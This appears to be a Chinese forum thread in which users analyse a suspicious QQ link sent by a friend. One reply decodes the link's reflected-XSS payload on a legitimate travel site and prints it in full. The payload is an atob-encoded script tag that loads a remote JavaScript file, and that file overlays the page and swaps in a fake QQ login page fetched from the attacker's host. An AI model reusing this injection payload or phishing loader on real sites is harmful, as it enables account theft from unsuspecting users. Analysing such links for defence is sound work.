疑似盗号？

血樱

https://url.cn/5MMO3LC这是你吗?

刚刚QQ好友发给我的，点进去瞅了一眼，很像是盗号，但是网站确实是同城的

BE_HC

1. https://zby.ly.com/list.sfnolpjv?q=sfnolpjv&c=1,d:document[`write`](atob(`PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPS8vZmZmbml1Ymk4ODguY24vMS5qcz48L3NjcmlwdD4=`))&ra7Mur3YTN4kDO5QzNwYTNx0TZtlGdmEzMuIzMy0Tel52btZSZyFGaz1zYiZiYo1DZp1mJlV2d3FXc=ra7Mur

复制代码

微步查询


后面的

1. PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPS8vZmZmbml1Ymk4ODguY24vMS5qcz48L3NjcmlwdD4=`))&ra7Mur3YTN4kDO5QzNwYTNx0TZtlGdmEzMuIzMy0Tel52btZSZyFGaz1zYiZiYo1DZp1mJlV2d3FXc=ra7Mur

复制代码

用base64解码得到

1. <body/hidden><script src=//fffniubi888.cn/1.js></script>

复制代码

1. var ua = navigator.userAgent.toLowerCase();
   
2. var _lay = document.createElement('div');
   
3. _lay.setAttribute('style', 'width:100%;height:2048px;font-size:1.4em;position:absolute;background-color:white;z-index:99999999;left:0;top:0;');
   
4. _lay.innerHTML = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
   
5. if (document.body) document.body.appendChild(_lay);
   
6. document.title = "手机统一登录";
   
7. var xhr = new XMLHttpRequest;
   
8. var html = null;
   
9. 
   
10. function getParam(name, url) {
    
11.     var r = new RegExp('(\?|#|&)' + name + '=(.*?)(#|&|$)');
    
12.     var m = (url || location.href).match(r);
    
13.     return (m ? m[2] : '')
    
14. }
    
15. 
    
16. function render() {
    
17.     var a = document.open("text/html", "replace");
    
18.     a.write(html);
    
19.     a.close()
    
20. }
    
21. 
    
22. xhr.onload = function () {
    
23.     html = xhr.responseText;
    
24.     var delay = 0;
    
25.     if (delay > 0) setTimeout("render()", delay * 1000); else render()
    
26. };
    
27. var u = document.scripts;
    
28. u = u[u.length - 1].src.substring(0, u[u.length - 1].src.lastIndexOf("/") + 1);
    
29. xhr.open("GET", u+"qq.html", !0);
    
30. xhr.send();

复制代码

小飞侠.net

360家庭防火墙+QQ浏览器极速版等无反应。